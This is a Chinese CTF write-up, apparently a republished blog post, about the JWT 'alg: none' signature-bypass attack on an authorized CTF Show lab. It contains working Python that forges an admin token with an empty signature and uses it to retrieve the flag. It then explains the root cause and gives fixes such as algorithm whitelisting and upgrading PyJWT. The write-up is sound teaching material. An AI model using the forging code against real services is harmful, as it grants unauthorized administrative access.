文章总结: 本文详细分析了JWT签名算法置空攻击漏洞,通过CTF靶场复现展示了攻击者将alg字段篡改为none后服务端跳过签名验证的过程。关键发现包括:攻击者可伪造admin权限token获取FLAG,漏洞根因在于服务端盲目信任客户端传入的alg字段。提供了三种修复方案:硬编码算法白名单、使用非对称算法、升级JWT库版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,CTF,安全开发
AI渗透测试 — JWT签名算法置空攻击:一个”none”绕过所有验证
原创
yushao yushao
网络安全者
2026年6月17日 09:02 河南
在小说阅读器读本章
去阅读
#
一、测试概述
| 项目 | 内容 | | — | — | | 测试类型 | CTF 靶场漏洞复现 | | 漏洞类型 | JWT Algorithm Confusion (alg: none) | | 危害等级 | 高危 | | 测试时间 | 2025年 | | 目标环境 | CTF Show 靶场(已授权) |
二、漏洞背景
JWT(JSON Web Token)由三部分组成:
Header.Payload.Signature
其中 Header 中的 alg 字段告诉服务端用什么算法验证签名。RFC 7518 中定义了一个特殊值 none,表示”无签名算法”。
漏洞成因: 部分 JWT 库在实现时直接信任客户端传来的 alg 字段,当攻击者将其篡改为 none 后,服务端跳过签名验证,导致任意用户可伪造合法 token。
三、信息收集
访问靶场首页,页面提示:
“将 alg 字段修改为 none 来绕过签名验证”
这直接揭示了攻击面。正常登录入口为 /login,GET 请求返回 405,确认为 POST 接口。
四、漏洞复现步骤
Step 1:获取普通用户 JWT
使用普通凭据登录,从 Cookie 中提取 token:
import requests
session = requests.Session()
resp = session.post(
"https://[REDACTED].challenge.ctf.show/login",
data={"username": "user", "password": "user"},
allow_redirects=True
)
token = session.cookies.get("token")
print(f"[+] 获取到 Token: {token}")
输出:
[+] 获取到 Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]
Step 2:解码 JWT 结构
import base64
import json
def b64_decode_padding(s):
"""Base64 URL 解码,自动补 padding"""
s += "=" * ((4 - len(s) % 4) % 4)
return base64.b64decode(s)
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]"
parts = token.split(".")
header = json.loads(b64_decode_padding(parts[0]))
payload = json.loads(b64_decode_padding(parts[1]))
print(f"[*] Header: {json.dumps(header, ensure_ascii=False)}")
print(f"[*] Payload: {json.dumps(payload, ensure_ascii=False)}")
输出:
[*] Header: {"alg": "HS256", "typ": "JWT"}
[*] Payload: {"user": "user", "admin": false}
关键发现:admin 字段为 false,服务端以此判断权限。
Step 3:构造 alg:none 伪造 Token
import base64
import json
def b64_encode_nopad(data: bytes) -> str:
"""Base64 URL 编码,去除 padding"""
return base64.b64encode(data).decode().rstrip("=")
# 篡改点1:alg 置为 none
forged_header = {"alg": "none", "typ": "JWT"}
# 篡改点2:admin 提权为 true
forged_payload = {"user": "user", "admin": True}
header_b64 = b64_encode_nopad(json.dumps(forged_header, separators=(",", ":")).encode())
payload_b64 = b64_encode_nopad(json.dumps(forged_payload, separators=(",", ":")).encode())
# 签名部分留空,服务端不再校验
forged_token = f"{header_b64}.{payload_b64}."
print(f"[+] 伪造 Token: {forged_token}")
输出:
[+] 伪造 Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.
Token 结构分析:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 ← {"alg":"none","typ":"JWT"}
.
eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ ← {"user":"user","admin":true}
.
← 签名为空
Step 4:携带伪造 Token 访问受保护资源
import requests
forged_token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ."
session = requests.Session()
session.cookies.set("token", forged_token)
resp = session.get("https://[REDACTED].challenge.ctf.show/")
print(resp.text)
响应片段(敏感信息已脱敏):
<title>恭喜获得 FLAG</title>
...
<div class="alert alert-success">
Flag: CTF{jwt_n**e_a**_byp**s_su**ess}
</div>
Flag 成功获取。
五、攻击流程图
用户登录 (user/user)
│
▼
获取正常 JWT (alg=HS256, admin=false)
│
▼
解码 Header + Payload
│
▼
篡改: alg="none", admin=true
│
▼
重新编码,签名置空
│
▼
携带伪造 Token 请求 /
│
▼
服务端: alg=none → 跳过签名验证
│
▼
权限校验: admin=true → 返回 FLAG ✓
六、漏洞根因分析
存在漏洞的服务端伪代码:
# ❌ 危险实现:信任 token 自带的算法字段
def verify_token(token):
header = decode_header(token)
alg = header.get("alg") # 攻击者可控!
if alg == "none":
return decode_payload(token) # 直接跳过验证
else:
return jwt.decode(token, SECRET_KEY, algorithms=[alg])
七、修复建议
方案一:硬编码允许的算法列表(推荐)
# ✅ 安全实现:服务端强制指定算法,不信任客户端
import jwt
def verify_token(token):
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"] # 白名单,明确排除 none
)
return payload
except jwt.InvalidTokenError:
return None
方案二:使用非对称算法(RS256/ES256)
# 私钥签发(服务端保管)
token = jwt.encode(payload, PRIVATE_KEY, algorithm="RS256")
# 公钥验证(可公开),攻击者无法伪造签名
jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])
方案三:升级 JWT 库版本
主流库(如 PyJWT >= 2.0)已默认拒绝 alg: none,确保依赖为最新版:
pip install "PyJWT>=2.0.0"
八、总结
| 步骤 | 操作 |
| — | — |
| 1 | 用普通账号登录,获取含 admin:false 的 JWT |
| 2 | Base64 解码,分析 token 结构 |
| 3 | 将 alg 改为 none,admin 改为 true |
| 4 | 签名段置空,重新拼接 token |
| 5 | 服务端跳过验证,以管理员身份响应 |
核心教训: JWT 的 alg 字段是用户可控的输入,永远不能被服务端盲目信任。签名算法应由服务端在验证时硬编码指定,而非从 token 本身读取。
本报告仅用于 CTF 学习与安全研究,所有测试均在授权靶场环境中进行。
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全者 yushao yushao《AI渗透测试 — JWT签名算法置空攻击:一个”none”绕过所有验证》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论